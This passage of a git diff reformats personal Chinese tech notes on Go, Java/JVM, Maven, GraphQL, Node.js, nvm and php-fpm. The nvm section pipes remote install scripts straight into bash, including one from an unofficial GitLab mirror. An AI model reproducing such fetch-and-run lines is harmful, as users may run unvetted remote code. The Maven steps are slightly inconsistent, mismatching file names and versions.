- // 获取时间戳 - time.Now().UnixNano() - - // 生成随机数 - rand.Seed(time.Now().UnixNano()) // "math/rand" - fmt.Println(rand.Intn(100)) - ``` - -5. test - ```bash - # 参考 https://appliedgo.net/testmain/ - # 注意:当module名字为main时,在根目录下执行go test则会报错 /var/folders/8h/1m7cpf3935z6tgyxtqm7805h0000gn/T/go-build3557744028/b001/_testmain.go:13:2: cannot import "main" - # 注意:一次只能单元测试一个目录内的文件,执行 go test -v ./*/*.go 则会报错 named files must all be in one directory; - go test // go test ./ - # 默认会对当前目录内 文件名字为 *_test.go 的文件,名字以 Test开头的函数进行单元测试。 - ``` - ```go - func Test_gary(t *testing.T) { - name := "Gary" - want := regexp.MustCompile(`\b` + name + `\b`) - msg := "Gary" - if !want.MatchString(msg) { - t.Fatalf("msg string must contain %v", name) - } - } - ``` - - - - -1. encoding/json + + ```go + // 获取时间戳 + time.Now().UnixNano() + + // 生成随机数 + rand.Seed(time.Now().UnixNano()) // "math/rand" + fmt.Println(rand.Intn(100)) + ``` + +5. test + + ```bash + # 参考 https://appliedgo.net/testmain/ + # 注意:当module名字为main时,在根目录下执行go test则会报错 /var/folders/8h/1m7cpf3935z6tgyxtqm7805h0000gn/T/go-build3557744028/b001/_testmain.go:13:2: cannot import "main" + # 注意:一次只能单元测试一个目录内的文件,执行 go test -v ./*/*.go 则会报错 named files must all be in one directory; + go test // go test ./ + # 默认会对当前目录内 文件名字为 *_test.go 的文件,名字以 Test开头的函数进行单元测试。 + ``` + + ```go + func Test_gary(t *testing.T) { + name := "Gary" + want := regexp.MustCompile(`\b` + name + `\b`) + msg := "Gary" + if !want.MatchString(msg) { + t.Fatalf("msg string must contain %v", name) + } + } + ``` + +6. encoding/json + ```go data, _ := json.Marshal(变量) fmt.Println(string(data)) @@ -106,9 +123,7 @@ fmt.Println(&out) ``` - 3. crypto -https://golang.org/pkg/crypto/cipher/#example_NewCFBEncrypter - + https://golang.org/pkg/crypto/cipher/#example_NewCFBEncrypter 4. reflect diff --git a/language/golang/go.md b/language/golang/go.md index 916ad1e..441001a 100644 --- a/language/golang/go.md +++ b/language/golang/go.md @@ -1,10 +1,18 @@ +--- +created_date: 2021-08-06 +--- + +[TOC] + #### golang的栈内存分配机制 + - 当创建一个goroutine时,Go运行时会分配一段8K字节的内存用于栈供goroutine运行使用, + 1. 第一代 分段栈(Segmented Stacks) - - 扩栈:通过morestack函数 - - 缩栈:通过lessstack缩栈。 - - 缺陷:栈缩时性能开销大 + - 扩栈:通过morestack函数 + - 缩栈:通过lessstack缩栈。 + - 缺陷:栈缩时性能开销大 2. 第二代 连续栈(continuous stacks) - - 扩栈:创建一个两倍于原stack大小的新stack,并将旧栈拷贝到其中。 - - 缩栈:垃圾回收的过程中实现 - - 缺陷:分配了更多的栈空间,但微不足道。 \ No newline at end of file + - 扩栈:创建一个两倍于原stack大小的新stack,并将旧栈拷贝到其中。 + - 缩栈:垃圾回收的过程中实现 + - 缺陷:分配了更多的栈空间,但微不足道。 diff --git a/language/java/grammar.md b/language/java/grammar.md index 1795d76..00b8ef5 100644 --- a/language/java/grammar.md +++ b/language/java/grammar.md @@ -1,37 +1,49 @@ +--- +created_date: 2020-11-16 +--- + [TOC] -- 参考 - - https://www.matools.com/api/java8 - - https://docs.oracle.com/javase/8/docs/api/ +- 参考 + - https://www.matools.com/api/java8 + - https://docs.oracle.com/javase/8/docs/api/ ## 数据结构 + 1. 常用数据类型: - - 数字类型,String,Map,List。 + - 数字类型,String,Map,List。 ## 设计模式 + 1. 常用设计模式: - - 工厂模式,观察者模式,装饰模式。 - - 单例(懒汉饿汉) + - 工厂模式,观察者模式,装饰模式。 + - 单例(懒汉饿汉) ## 特性 + - 封装(控制变量和方法,根据需求暴露接口) - 继承(复用父类的方法,重写父类的方法) - 多态(对象声明时指定对应的子类,就可以调用该子类的方法) - - 一个引用(类型)在不同的情况下的多种状态。也可以理解为,多态是指通过指向父类的指针,来调用在不同子类中实现的方法。 - - 对多态的一个更广泛的定义,指的是可以处理多种类型数据的代码。 + - 一个引用(类型)在不同的情况下的多种状态。也可以理解为,多态是指通过指向父类的指针,来调用在不同子类中实现的方法。 + - 对多态的一个更广泛的定义,指的是可以处理多种类型数据的代码。 ### Java反射机制 + - 参考 https://zhuanlan.zhihu.com/p/196524168 + - 需求:在代码运行之前,我们不确定将来会使用哪一种数据结构,只有在程序运行时才决定使用哪一个数据类。 + - 解决:JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。 - 功能 - - 在运行时判断任意一个对象所属的类; - - 在运行时构造任意一个类的对象; - - 在运行时判断任意一个类所具有的成员变量和方法; - - 在运行时调用任意一个对象的方法。 + + - 在运行时判断任意一个对象所属的类; + - 在运行时构造任意一个类的对象; + - 在运行时判断任意一个类所具有的成员变量和方法; + - 在运行时调用任意一个对象的方法。 - 运行时通过反射机制获取类 + ```java Class clazz = Class.forName("包名.类名小写"); -``` \ No newline at end of file +``` diff --git a/language/java/interview.md b/language/java/interview.md index a0319a0..4025aab 100644 --- a/language/java/interview.md +++ b/language/java/interview.md @@ -1,18 +1,24 @@ +--- +created_date: 2020-12-18 +--- + +[TOC] + ## 大学实习时的面试总结 -1. 曾经: -jsp + servlet(控制数据和业务逻辑) + javaBean -jsp + servlet + -DAO(vo(相当于javaBean),dao,impl(真实操作),proxy(可以进行额外操作:记录日志,方法前后),factory(可以进行单例模式的设置,可以根据值的传递实现不同的数据库操作)) -servlet调用factory获取proxy‘ -proxy实现dao接口,调用真实的操作对象impl -impl 进行数据库的操作 +1. 曾经: + jsp + servlet(控制数据和业务逻辑) + javaBean + jsp + servlet + + DAO(vo(相当于javaBean),dao,impl(真实操作),proxy(可以进行额外操作:记录日志,方法前后),factory(可以进行单例模式的设置,可以根据值的传递实现不同的数据库操作)) + servlet调用factory获取proxy‘ + proxy实现dao接口,调用真实的操作对象impl + impl 进行数据库的操作 2. 现在: -MVC -model:pojo+dao(接口)+mapper(放数据库操作语句,与dao接口对应*.mapper文件)+service+ serviceImpl -view:html -controller + MVC + model:pojo+dao(接口)+mapper(放数据库操作语句,与dao接口对应\*.mapper文件)+service+ serviceImpl + view:html + controller 框架:SSM spring: @@ -23,4 +29,4 @@ SpringMVC: 管理控制层 MyBatis: -数据库持久层,消除JDBC代码 \ No newline at end of file +数据库持久层,消除JDBC代码 diff --git a/language/java/java.md b/language/java/java.md index 4f4ee16..36a66ce 100644 --- a/language/java/java.md +++ b/language/java/java.md @@ -1,15 +1,26 @@ +--- +created_date: 2021-07-09 +--- + +[TOC] + # Java + - 参考 - - https://www.onitroad.com/jc/archive/install-java-on-amazon-linux.html - - https://www.oracle.com/java/technologies/downloads/#java17 + - https://www.onitroad.com/jc/archive/install-java-on-amazon-linux.html + - https://www.oracle.com/java/technologies/downloads/#java17 + ## 安装openjdk + 1. CentOS7源安装 + ```bash yum install java-1.8.0-openjdk -y # yum install java-1.8.0-openjdk* -y # 安装所有相关文件 ``` 2. Ubuntu16源安装 + ```bash apt-get update -y apt-get install openjdk-8-jdk -y @@ -19,27 +30,28 @@ apt-get install openjdk-8-jdk -y - java目录 /usr/lib/jvm/ 3. 手动环境变量配置 -vi /etc/profile.d/java.sh + vi /etc/profile.d/java.sh + ```conf export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.265.b01-0.54.amzn1.x86_64 # 名字会不一样 export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/jre/lib/rt.jar export PATH=$PATH:$JAVA_HOME/bin ``` - 4. 设置新的软连接 -/usr/bin/java -> /etc/alternatives/java -/etc/alternatives/java -> /usr/lib/jvm/jre-1.7.0-openjdk.x86_64/bin/java + /usr/bin/java -> /etc/alternatives/java + /etc/alternatives/java -> /usr/lib/jvm/jre-1.7.0-openjdk.x86_64/bin/java ln -fs /usr/lib/jvm/jre-1.8.0-openjdk.x86_64/bin/java /etc/alternatives/java 5. 卸载 - - 若是oracle-jdk - apt-get remove oracle-java8-installer - - 若是openjdk - apt-get remove/purge openjdk* + - 若是oracle-jdk + apt-get remove oracle-java8-installer + - 若是openjdk + apt-get remove/purge openjdk\* ### aws ec2 + ```bash # 安装jdk11 amazon-linux-extras install java-openjdk11 @@ -53,11 +65,14 @@ yum install tomcat ``` ## JVM + - HotSpot VM - JRockit VM ### 指令 + - 参考 https://www.jdon.com/51214 + ```bash # 0. 查看当前用户的Java进程信息 jps -mlv @@ -75,24 +90,27 @@ jstat -gccapacity ${PID} jstat -gcutil ${PID} ``` - - ### 配置jvm的堆内存占据宿主机内存的百分比 + - 基于 Java 8u131 或 Java 9 - - java XX:InitialRAMFraction=1 -XX:MaxRAMFraction=1 -XX:MinRAMFraction=1 -jar test.jar + - java XX:InitialRAMFraction=1 -XX:MaxRAMFraction=1 -XX:MinRAMFraction=1 -jar test.jar - 基于 Java 10 - - 这三个参数是JDK8U191为适配Docker容器新增的 - - java MaxRAMPercentage=1 InitialRAMPercentage=1 MinRAMPercentage=1 -jar test.jar + - 这三个参数是JDK8U191为适配Docker容器新增的 + - java MaxRAMPercentage=1 InitialRAMPercentage=1 MinRAMPercentage=1 -jar test.jar ### 常用 JVM 参数 -- -Xms:初始堆大小,默认为物理内存的1/64(<1GB); - - 默认(MinHeapFreeRatio参数可以调整)空余堆内存小于40%时,JVM就会增大堆直到-Xmx的最大限制 + +- -Xms:初始堆大小,默认为物理内存的1/64(\<1GB); + + - 默认(MinHeapFreeRatio参数可以调整)空余堆内存小于40%时,JVM就会增大堆直到-Xmx的最大限制 - -Xmx:最大堆大小,默认为物理内存的1/4; - - 默认(MaxHeapFreeRatio参数可以调整)空余堆内存大于70%时,JVM会减少堆直到 -Xms的最小限制 + + - 默认(MaxHeapFreeRatio参数可以调整)空余堆内存大于70%时,JVM会减少堆直到 -Xms的最小限制 - -Xmn:新生代的内存空间大小,注意:此处的大小是(eden+ 2 survivor space)。与jmap -heap中显示的New gen是不同的。 - - 整个堆大小 = 新生代大小 + 老生代大小 + 永久代大小。在保证堆大小不变的情况下,增大新生代后,将会减小老生代大小。此值对系统性能影响较大,Sun官方推荐配置为整个堆的3/8。 + + - 整个堆大小 = 新生代大小 + 老生代大小 + 永久代大小。在保证堆大小不变的情况下,增大新生代后,将会减小老生代大小。此值对系统性能影响较大,Sun官方推荐配置为整个堆的3/8。 - -XX:SurvivorRatio:新生代中Eden区域与Survivor区域的容量比值,默认值为8。两个Survivor区与一个Eden区的比值为2:8,一个Survivor区占整个年轻代的1/10。 @@ -103,22 +121,27 @@ jstat -gcutil ${PID} - -XX:MaxPermSize:设置永久代最大值。物理内存的1/4。 - -XX:ReservedCodeCacheSize - - JIT编译的代码都放在Code Cache中,若Code Cache空间不足则JIT无法继续编译,编译执行改为解释执行,性能将会降低 + + - JIT编译的代码都放在Code Cache中,若Code Cache空间不足则JIT无法继续编译,编译执行改为解释执行,性能将会降低 ### GC + #### 垃圾回收器 + 1. CMS(-XX:+UseConcMarkSweepGC) - - 基于“标记—清除”算法实现 - - 一般新生代使用ParNew(复制回收),老年代的用CMS + - 基于“标记—清除”算法实现 + - 一般新生代使用ParNew(复制回收),老年代的用CMS 2. G1(-XX:+UseG1GC) - - G1 把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。 - - 算法:标记—整理 (old,humongous) 和复制回收算法(survivor)。 - - 1.9之后是默认,1.7之后才有,1.8才算成熟。 - - 区域划分很散(2048块),不适合小内存使用 -#### + - G1 把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。 + - 算法:标记—整理 (old,humongous) 和复制回收算法(survivor)。 + - 1.9之后是默认,1.7之后才有,1.8才算成熟。 + - 区域划分很散(2048块),不适合小内存使用 + +#### + - Java的堆内存逻辑上分成两块:新生代、老年代 - 根据垃圾收集回收的区域不同可分为: Young GC、Old GC、Full GC、Mixed GC - 大多数情况下,对象在新生代Eden区中分配。当Eden区没有足够空间进行分配时,虚拟机将发起一次Young GC。 - -XX:PretenureSizeThreshold - -XX:MaxTenuringThreshold -- \ No newline at end of file +- diff --git a/language/java/maven.md b/language/java/maven.md index 35d373f..883a692 100644 --- a/language/java/maven.md +++ b/language/java/maven.md @@ -1,24 +1,38 @@ +--- +created_date: 2021-07-09 +--- + +[TOC] + # Maven + ## 安装 + 1. 下载 + ```bash # https://maven.apache.org/download.cgi wget https://dlcdn.apache.org/maven/maven-3/3.8.6/binaries/apache-maven-3.8.6-bin.zip tar xzvf apache-maven-3.6.3-bin.tar.gz ``` + 2. 配置环境变量 -vi /etc/profile/maven.sh + vi /etc/profile/maven.sh + ```conf export M2_HOME=/opt/app/apache-maven-3.8.6 export PATH=$PATH:$M2_HOME/bin ``` + ```bash source /etc/profile mvn -v ``` 3. 配置 本地仓库存储位置/中央仓库 -- conf/settings.xml + +- conf/settings.xml + ```xml 本地仓库在磁盘中的路径 @@ -32,6 +46,7 @@ mvn -v ## 使用 1. 下载jar包 + ```bash mvn dependency:get -DgroupId=junit -DartifactId=junit -Dversion=4.8.2 # 或 @@ -39,11 +54,13 @@ mvn -f pom.xml dependency:copy-dependencies ``` 2. 浏览项目依赖 + ```bash mvn dependency:resolve ``` 3. 完整命令详解 + ```bash mvn archetype:create 创建Maven项目 mvn compile 编译源代码 @@ -87,8 +104,9 @@ mvn dependency:sources 获取依赖源代码 ``` 4. 常用打包指令 + ```bash mvn clean install package -Dmaven.test.skip=true #清理之前项目生成结果并构建然后将依赖包安装到本地仓库跳过测试 mvn clean deploy package -Dmaven.test.skip=true #构建并将依赖放入私有仓库 mvn --settings /data/settings.xml clean package -Dmaven.test.skip=true #指定maven配置文件构建 -``` \ No newline at end of file +``` diff --git a/language/lua.md b/language/lua.md index 2debc52..d0b0fea 100644 --- a/language/lua.md +++ b/language/lua.md @@ -1,6 +1,14 @@ +--- +created_date: 2020-11-30 +--- + +[TOC] + 1. 第一个lua程序 -vim HelloWorld.lua + vim HelloWorld.lua + ```lua print("Hello World!") ``` -lua HelloWorld.lua \ No newline at end of file + +lua HelloWorld.lua diff --git a/language/nodejs/GraphQL.md b/language/nodejs/GraphQL.md index 29365b4..3adb0ef 100644 --- a/language/nodejs/GraphQL.md +++ b/language/nodejs/GraphQL.md @@ -1,28 +1,36 @@ -# GraohQL -- 参考 - - https://github.com/graphql/graphiql - - https://graphql.org/learn/ - - https://graphql.cn/ +--- +created_date: 2020-11-16 +--- -- 数据传输风格 - - RPC - - REST - - GraphQL +[TOC] + +- GraohQL -1. 前端可以 一次性取取完所有需要的数据(可以获取多个接口的数据,可以选择性地获取接口中的字段) +## 链接 -2. 解决 前端产品快速迭代对API的更改。解决不同的客户端对数据的不同需求。 +- https://github.com/graphql/graphiql +- https://graphql.org/learn/ +- https://graphql.cn/ -3. 使用强大的Type System来定义API的功能,所有的API中公开类型都是使用GraphQL +## 简介 + +- 数据传输风格 + 1. RPC + 2. REST + 3. GraphQL +- GraphQL的优势 + 1. 前端可以一次性获取所有需要的数据(可以获取多个接口的数据,可以选择性地获取接口中的字段) + 2. 解决前端产品快速迭代对API的更改。解决不同的客户端对数据的不同需求。 ## SDL -- schema Definition Language(SDL)该模式充当客户端和服务器之间的契约,以定义客户机如何访问数据。 - - query - - mutation - - subscription -### 查询 +- Schema Definition Language (SDL) 是 GraphQL 提供的一种语法,用于以声明式的方式定义 GraphQL API 的 schema。 +- SDL 使用一种人类可读的格式,描述数据类型、查询(query)、变更(mutations)、订阅(subscriptions)以及它们之间的关系 + +### 示范一 + ```graphql +# 查询操作 query { # 刷选id等于5的数据 approvalForAlls(id: 5) { @@ -42,4 +50,34 @@ query { tokenId } } -``` \ No newline at end of file +``` + +### 示范二 + +```graphql +# 定义类型 +type Transfer @entity(immutable: true) { + id: Bytes! + from: Bytes! # address + to: Bytes! # address + tokenId: BigInt! # uint256 + blockNumber: BigInt! + blockTimestamp: BigInt! + transactionHash: Bytes! +} +type Query { + transfers(first: Int, skip: Int, where: TransferFilter): [Transfer!]! +} +``` + +```graphql +# 查询操作 +query { + transfers(where: { from: "0xsfsdfsdfsdfsdfff" }) { + id + from + to + tokenId + } +} +``` diff --git a/language/nodejs/grammar.md b/language/nodejs/grammar.md index 6a4f380..7515776 100644 --- a/language/nodejs/grammar.md +++ b/language/nodejs/grammar.md @@ -1,6 +1,13 @@ +--- +created_date: 2022-07-05 +--- + +[TOC] + # 语法 ## 基本 + ```js // 去掉所有空格 字符串.replace(/\s/g,"") @@ -25,9 +32,10 @@ const myFunction = async (p1, p2) => { event.target ``` - ## 数据结构 + ### 数组 + ```js let array = new Array() array=[1 ,2 ,3] @@ -40,6 +48,7 @@ array。splice(index,索引) // 通过索引删除元素并返回此元素 ``` ### 字典 + ```js new Map() set() @@ -48,7 +57,9 @@ delete() ``` ## 常用函数 + - forEach(),filter(), map(),reduce() + ```js array = ['a','b'] array.forEach((value, key )=>{ @@ -57,10 +68,12 @@ delete() ``` ## 回调地狱 + - 将回调函数处理成像“同步”处理的形式 -promise, async await + promise, async await ## 异常处理 + ```js try { console.log('我正在执行'); @@ -71,8 +84,8 @@ try { } ``` - ## 休眠 + ```js function sleep(ms) { return new Promise(resolve => setTimeout(() => resolve(), ms)); @@ -85,26 +98,29 @@ function sleep(ms) { ``` ## 其它 -事件驱动 -events.EventEmitter() -util.inherits(对象名 , events.EventEmitter); -readFile('路径',回调函数); -.on -.emit +事件驱动\ +events.EventEmitter()\ +util.inherits(对象名 , events.EventEmitter);\ +readFile('路径',回调函数); -IO操作 -fs -流 -buffer -管道操作 .pipe() +.on\ +.emit +IO操作\ +fs\ +流\ +buffer\ +管道操作 .pipe() # 例子 + ## 创建第一个Node.js应用 + 1. 引入required模块:使用require指令来载入Node.js模块。 2. 创建服务. 3. 通过监听接收请求与响应请求。 + ```js nodejss var http = require('http'); http.createServer(function (request, response) { diff --git a/language/nodejs/nodejs.md b/language/nodejs/nodejs.md index 8ac4bcf..5ba1866 100644 --- a/language/nodejs/nodejs.md +++ b/language/nodejs/nodejs.md @@ -1,53 +1,65 @@ +--- +created_date: 2021-08-23 +--- + +[TOC] + # nodejs + - 单线程异步IO机制 - 为什么说nodejs是单线程的? - - 因为nodejs只有主线程在执行代码,所有的网络请求(Socket)由主线程来执行代码,然后返回数据。涉及到代码外的操作(例如 请求第三方接口、数据库读取、文件读取),则非阻塞式交给线程池进行处理。 + - 因为nodejs只有主线程在执行代码,所有的网络请求(Socket)由主线程来执行代码,然后返回数据。涉及到代码外的操作(例如 请求第三方接口、数据库读取、文件读取),则非阻塞式交给线程池进行处理。 ## 优缺点 + 1. 为什么说node.js是单线程高性能适合IO密集型的程序? - 1. 只有主线程在不断地循环等待使用CPU进行运算,所有的运算操作都要排队,一一要交给主线程。 - 2. 每一次IO操作,node.js都可以进行异步操作,交给一个新的线程去执行。 + 1. 只有主线程在不断地循环等待使用CPU进行运算,所有的运算操作都要排队,一一要交给主线程。 + 2. 每一次IO操作,node.js都可以进行异步操作,交给一个新的线程去执行。 2. 优点: - - 高性能-避免了线程切换使用CPU所带来的各种开销。 - - 线程安全-变量只会被主线程读写。 - - IO异步。 + - 高性能-避免了线程切换使用CPU所带来的各种开销。 + - 线程安全-变量只会被主线程读写。 + - IO异步。 3. 缺点 - - CPU密集型任务占用CPU时间长 + - CPU密集型任务占用CPU时间长 4. 总而言之:IO操作是多线程的,CPU操作是单线程的。 ## 闭包 -- 定义:一个函数作用域内 读取了 另一个函数作用域内 的变量。 + +- 定义:一个函数作用域内 读取了 另一个函数作用域内 的变量。 - 发生:只有在嵌套函数内才会出现闭包现象。 + 1. 使用场景 - 1. 设计私有的方法和变量。 + 1. 设计私有的方法和变量。 2. 缺点 - 1. 变量不被释放,会产生内存泄露问题。 + 1. 变量不被释放,会产生内存泄露问题。 ## Node应用管理器 pm2 -pm2 list - +pm2 list ## CJS vs EMS ### 模块的加载 + - CommonJS Modules CJS模块系统,将每个文件都被视为一个单独的模块。 + - ECMAScript Modules ESM模块系统,是打包 JavaScript 代码以供重用的官方标准格式。使用 import 和 export 导入导出模块。 - 配置 - - Node.js 默认将 JavaScript 代码视为 CommonJS 模块。 - - 可以通过.mjs 文件扩展名 或者 package.json 'type’字段,来默认将 JavaScript 代码视为 CommonJS 模块。 - ```json package.json - { - "type": "module", - "dependencies": { - "babel-core": "^6.26.3", - "babel-preset-env": "^1.7.0", - } - } - ``` + + - Node.js 默认将 JavaScript 代码视为 CommonJS 模块。 + - 可以通过.mjs 文件扩展名 或者 package.json 'type’字段,来默认将 JavaScript 代码视为 CommonJS 模块。 + ```json package.json + { + "type": "module", + "dependencies": { + "babel-core": "^6.26.3", + "babel-preset-env": "^1.7.0", + } + } + ``` ```js // es3: @@ -68,10 +80,10 @@ import * as 变量名 from ‘ethers’; ### 其它 -- ESM 默认使用了严格模式,因此在 ES 模块中的``this``不再指向全局对象(而是 ``undefined``),且变量在声明前无法使用。 - -- ESM 缺乏 __filename 和 __dirname +- ESM 默认使用了严格模式,因此在 ES 模块中的`this`不再指向全局对象(而是 `undefined`),且变量在声明前无法使用。 +- ESM 缺乏 \_\_filename 和 \_\_dirname ## ts -- nodejs环境下执行ts代码 https://github.com/TypeStrong/ts-node \ No newline at end of file + +- nodejs环境下执行ts代码 https://github.com/TypeStrong/ts-node diff --git a/language/nodejs/nvm-install.md b/language/nodejs/nvm-install.md index 8cb7840..202353b 100644 --- a/language/nodejs/nvm-install.md +++ b/language/nodejs/nvm-install.md @@ -1,5 +1,13 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 安装node版本管理器 nvm + ### Linux安装nvm + ```bash # https://github.com/nvm-sh/nvm#installation curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bash @@ -15,9 +23,11 @@ curl -o- https://gitlab.com/mirrorx/nvm/-/raw/master/install.sh | bash ``` ### Windows安装nvm-windows/ + https://github.com/coreybutler/nvm-windows/releases ### Mac安装nvm + ```bash # https://github.com/nvm-sh/nvm#installation wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.39.5/install.sh | bash @@ -29,13 +39,15 @@ echo 'export NVM_DIR="$HOME/.nvm" ``` ### 使用nvm -```bash + +```bash nvm install stable ## 安装最新稳定版 node nvm alias default lts/gallium # 指定node的默认版本 ``` ## 软件包源 + ``` npm --- https://registry.npmjs.org/ @@ -53,18 +65,22 @@ deunpm --- http://registry.enpmjs.org/ ``` ## 包管理器 npm + 1. npm install的执行过程 - 1. 发出npm install命令 - 2. npm 向 registry 查询模块压缩包的网址 - 3. 下载压缩包,存放在~/.npm(本地NPM缓存路径)目录 - 4. 解压压缩包到当前项目的node_modules目录 + + 1. 发出npm install命令 + 2. npm 向 registry 查询模块压缩包的网址 + 3. 下载压缩包,存放在~/.npm(本地NPM缓存路径)目录 + 4. 解压压缩包到当前项目的node_modules目录 2. npm设置源 -npm set registry http://localhost:4873/ -3. npm 指定源然后安装包 -npm i --registry=https://registry.npm.taobao.org + npm set registry http://localhost:4873/ + +3. npm 指定源然后安装包\ + npm i --registry=https://registry.npm.taobao.org + +4. 指令 -3. 指令 ```bash # 查看全局安装过的包 npm list -g --depth 0 @@ -75,6 +91,7 @@ npx ``` ## 包管理器 yarn + ```bash # 安装yarn npm install yarn -g @@ -83,16 +100,20 @@ yarn config set registry https://registry.npm.taobao.org/ ``` ## 源管理器 + npm install -g nrm nrm ls nrm use taobao nrm add 别名 源地址:添加源 ## 私服verdaccio + - 参考 - - https://verdaccio.org/docs/en/installation - - https://github.com/verdaccio/verdaccio + - https://verdaccio.org/docs/en/installation + - https://github.com/verdaccio/verdaccio + 1. docker部署 + ```bash V_PATH=/opt/verdaccio; docker run -d --name verdaccio \ -p 4873:4873 \ @@ -101,13 +122,15 @@ V_PATH=/opt/verdaccio; docker run -d --name verdaccio \ -v $V_PATH/plugins:/verdaccio/plugins \ verdaccio/verdaccio:5.x-next ``` + 2. 添加用户 -npm adduser --registry http://x.x.x.x:4873 -npm who am i --registry http://x.x.x.x:4873 -npm profile get --registry http://x.x.x.x:4873/ + npm adduser --registry http://x.x.x.x:4873 + npm who am i --registry http://x.x.x.x:4873 + npm profile get --registry http://x.x.x.x:4873/ 3. 发布私有包 -npm init -f -vi index.js + npm init -f + vi index.js + ```js var user ={ name:"gary", @@ -115,4 +138,5 @@ var user ={ } module.exports=user; ``` + npm publish --registry http://x.x.x.x:4873 diff --git a/language/nodejs/package.md b/language/nodejs/package.md index c39a21a..5979fe9 100644 --- a/language/nodejs/package.md +++ b/language/nodejs/package.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 内置包 + ```js // base64加解密 var b = new Buffer.from('JavaScript'); @@ -19,44 +26,54 @@ fs.writeFileSync("./1.html", "data") ``` ## 第三方包 package + 1. Dataloader - - 是由facebook推出,能大幅降低数据库的访问频次,经常在Graphql场景中使用。 - - 主要通过2个机制来降低数据库的访问频次:批处理 和 缓存。 + + - 是由facebook推出,能大幅降低数据库的访问频次,经常在Graphql场景中使用。 + - 主要通过2个机制来降低数据库的访问频次:批处理 和 缓存。 2. Knex.js - - https://knexjs.org/ - - npm install knex && npm install mysql - - Knex.js是为Postgres,MSSQL,MySQL,MariaDB,SQLite3,Oracle和Amazon Redshift设计的“包含电池”SQL查询构建器,其设计灵活,便于携带并且使用起来非常有趣。它具有传统的节点样式回调以及用于清洁异步流控制的承诺接口,流接口,全功能查询和模式构建器,事务支持(带保存点),连接池 以及不同查询客户和方言之间的标准化响应。 + + - https://knexjs.org/ + - npm install knex && npm install mysql + - Knex.js是为Postgres,MSSQL,MySQL,MariaDB,SQLite3,Oracle和Amazon Redshift设计的“包含电池”SQL查询构建器,其设计灵活,便于携带并且使用起来非常有趣。它具有传统的节点样式回调以及用于清洁异步流控制的承诺接口,流接口,全功能查询和模式构建器,事务支持(带保存点),连接池 以及不同查询客户和方言之间的标准化响应。 3. axios 接口请求包 - - npm install axios - - https://github.com/axios/axios + + - npm install axios + - https://github.com/axios/axios 4. exceljs - - npm install exceljs + + - npm install exceljs 5. ini 读取ini格式的配置 - - npm install ini + + - npm install ini 6. nx 是一套功能强大、可扩展的开发工具,可帮助我们开发、测试、构建和扩展 Angular 应用程序,并完全集成支持 Jest、Cypress、ESLint、NgRx 等现代库。 7. winston 日志系统 ### 区块链相关的 + 1. ethers.js - - https://github.com/ethers-io/ethers.js - - https://docs.ethers.io/v5/getting-started/#getting-started--contracts - - 开发者是 Richard Moore,并由他来创建和维护库。Ethers.js 的目的是建立“一个完整、简单、小巧的库,取代 web3 和 ethereum.js + + - https://github.com/ethers-io/ethers.js + - https://docs.ethers.io/v5/getting-started/#getting-started--contracts + - 开发者是 Richard Moore,并由他来创建和维护库。Ethers.js 的目的是建立“一个完整、简单、小巧的库,取代 web3 和 ethereum.js 2. web3.js - - https://github.com/ChainSafe/web3.js - - 是由以太坊基金会构建的开源 JavaScript 库 + + - https://github.com/ChainSafe/web3.js + - 是由以太坊基金会构建的开源 JavaScript 库 3. hardhat.js - - https://github.com/nomiclabs/hardhat + - https://github.com/nomiclabs/hardhat #### ethers.js + - Provider:是一个类,提供了一个抽象的到以太坊网络的连接。它提供对区块链及其状态的仅读取访问。 - Signer:是一个类,以某种方式直接或间接地有权访问私人密钥,该密钥可以签署消息和交易,以授权网络向以太坊账户收取执行操作的费用。 -- Contract:代表以太坊网络上特定合约的连接,应用程序可以像普通 JavaScript 对象一样使用它。 \ No newline at end of file +- Contract:代表以太坊网络上特定合约的连接,应用程序可以像普通 JavaScript 对象一样使用它。 diff --git a/language/php/php-pfm.md b/language/php/php-pfm.md index 368c481..b9acdbe 100644 --- a/language/php/php-pfm.md +++ b/language/php/php-pfm.md @@ -1,14 +1,24 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # php-fpm + - 参考文档 https://www.cnblogs.com/donghui521/p/10334776.html + ## 一 概念 + 1. php-fpm:在整个网络请求的过程中php是一个cgi程序的角色,采用名为php-fpm的进程管理程序来对这些被请求的php程序进行管理。php-fpm工作原理类似于nginx。默认监听127.0.0.1:9000. 2. 协议 -cgi 通用网关协议,最早的协议,不高效。用于在http服务和CGI服务之间传输数据 -fastcgi 是一种常驻型CGI服务,相对httpd服务器而言是独立的,php就是这种 -scgi 和uwsgi 是新出的一种CGI协议,类似于fastcgi + cgi 通用网关协议,最早的协议,不高效。用于在http服务和CGI服务之间传输数据 + fastcgi 是一种常驻型CGI服务,相对httpd服务器而言是独立的,php就是这种 + scgi 和uwsgi 是新出的一种CGI协议,类似于fastcgi 3. 工作数据流 + ``` www.example.com | @@ -24,11 +34,15 @@ www.example.com | php-fpm 处理完请求,返回给nginx | nginx 将结果通过http返回给浏览器 ``` + ## 二 yum安装php73-php-fpm -1. + +1. + PHP在 5.3.3 之后已经把php-fpm并入到php的核心代码中了,所以php-fpm不需要单独的下载安装。 要想php支持php-fpm,只需要在编译php源码的时候带上 --enable-fpm。 -2. 安装重启 +2\. 安装重启 + ```bash # 安装 EPEL 源 yum install epel-release -y @@ -44,16 +58,21 @@ systemctl start php73-php-fpm ## 通过信号重启 kill -USR2 php-fpm的master进程号 ``` + 3. 扩展包位置 -/opt/rh/rh-php72/root/usr/lib64/php/modules/ + /opt/rh/rh-php72/root/usr/lib64/php/modules/ + +4. /etc/opt/remi/php73/php.ini + vim php.ini -3. /etc/opt/remi/php73/php.ini -vim php.ini ```conf php.ini php_flag[display_errors] = on # 是否以200状态输出错误日志 ``` + 4. php-fpm.conf + ## 三 nginx连接php-fpm配置 + ```conf server { listen 80; @@ -67,8 +86,10 @@ server { } } ``` + vim scgi_params 